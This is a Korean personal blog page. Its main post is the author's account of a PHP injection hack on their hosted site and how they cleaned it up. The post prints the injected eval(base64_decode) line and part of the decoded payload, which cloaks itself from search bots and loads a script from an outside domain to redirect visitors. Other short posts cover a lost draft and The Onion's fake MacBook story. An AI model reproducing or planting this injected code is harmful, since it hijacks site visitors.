창의성 지원 도구 글 예정…
알 수 없는 이유로 한시간 넘게 쓴 글이 날아갔다..
내가 연구하고 있는 분야인 '창의성 지원 도구'에 대해 쓴 글이 있었다 ㅠ
왜 중요한 문제이고 어느 부분에 가능성이 있는가에 대해 나름 장문의 글을 오랜만에 썼는데..
아 ecto 뭔가 이상한 것 같다.
이건 진짜 툴 탓을 안 할 수가 없네.
PHP eval(base64_decode 해킹
호스팅 해서 쓰고 있는 계정의 모든 PHP 파일의 첫줄에
<?php /**/ eval(base64_decode(“….”); ?>
이 삽입되는 해킹을 당했다. 유사한 사례를 찾아보니 인터넷에 좀 있기는 하다. 이 곳에 언급된 피해사례와 거의 동일하다.
다행히 손실되거나 한 데이터는 없는데, 이 일이 있고나서 방금 전까지 12시간여동안mcpanic.com/juhokim.com 을 방문한 분들은 좀 놀랐을듯. 죄송합니다… PHP 스크립트를 사용하는 동작을 하면 갑자기 이상한 URL 로 자동 리다이렉트 되는 문제가 생긴다. 첫줄에 있는 base64_decode 안에 있는 코드가 실행이 되면서 엉뚱한 곳의 코드를 실행하는 것이다. decode 를 해보니 볼드체로 된 URL 에 있는 스크립트를 실행한다.
if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){
$GLOBALS['mr_no']=1;
if(!function_exists('mrobh')){
if(!function_exists('gml')){
function gml(){
if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&& (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){
return “<script src=’http://zettapetta.com/js.php’></script”;
}
return "";
}
}
<후략>
워낙 많은 파일들이 피해를 입어서 일괄적으로 수정을 하기 위해 오랜만에 regular expression 을 끄적거렸다. 일단 어떤 파일들이 피해를 입었는지 보기 위해서 grep 으로 살펴봤더니 모두 PHP 파일이었고, 첫줄에만 피해가 있었다. 일괄적으로 수정하는 한줄의 코드를 실행시켜서 일단 급한 불을 껐다. Perl 의 –i 플래그에 확장자를 붙여주면 변경하기 전 파일을 복사해 확장자를 붙여 저장해 준다.
find ./ -name "*.php" | xargs perl -i.bak -p -e 's/\<\?php \/\*\*\/ eval\(base64_decode\(\".*\"\)\)\;\?\>//';
그랬더니 PHP 파일 최상단에 빈줄이 생겨 제대로 동작하지 않는 문제가 발생했다. 역시 이런건 한번에 깔끔하게 하기가 쉽지 않다. 그래서 맨 위 5줄에 있는 빈줄을 모두 없애기 위해 다시 한번, ‘close ARGV if eof’ 를 해주지 않으면 current line number 인 $. 가 계속해서 올라가기 때문에 원하는 동작을 하지 않는다.
find ./ -name "*.php" | xargs perl -i.hack3 -p -e 's/^\s*$// if $.<5; close ARGV if eof';
PHP 의 보안이나 다른 어딘가에 보안 구멍이 있는 것 같은데, 보안 쪽은 영 문외한이라 어디부터 손봐야할지 모르겠다. 혹시 비슷한 경험이 있거나 예방책 등을 아시는 분은 애정어린 조언을 부탁드립니다!
키보드 없는 Macbook Wheel 출시?!
Apple Introduces Revolutionary New Laptop With No Keyboard
정신 똑바로 차리지 않고 보면 진짜라고 믿을 수밖에 없다! ㅋㅋㅋ 근데 이거 진짜 이런 컨셉으로 애플이 준비하고 있을 것도 같다.
그나저나 The Onion, 대단하다. 가짜 뉴스를 전문적으로 만드는 서비스라.. 이 정도 퀄리티로 만들면 낚시하기 너무 좋잖아!
한국서 만우절 때 대학신문 생각이 난다. 그럴듯한 낚시글만 모아서 아예 한 면에 가상기사만 실었었는데.. 여기 재밌는 글이..
우리나라에서는 대학가에서 유사한 사건(?)이 있었습니다.
2년전 서울대 학보인 대학신문은 만우절판 신문을 발행하면서 “서울대 민영화, LG가 인수하기로”란 제목의 기사를 실었습니다.
이 기사는 이기준 총장이 사외이사로 있던 LG측이 서울대를 극비리에 인수키로 함에 따라 등록금이 2배 이상 인상되고 대대적인 직원 감축이 실시될 것이라는 내용을 담았습니다.
서울대 민영화 기사외에도 대학신문은 고시반 신설, 교내에 지하철 생긴다, 버들골 이용료 받고 개방, 학생회관 식당 오늘 무료 등 5개의 가상기사도 함께 실었습니다. 기사가 나간후 실제로 학생회관 식당앞에는 ‘사실과 다르다’는 안내문이 붙는 촌극까지 벌어지기도 했었습니다. - 백승운 기자의 어이! 편집 초보에서…
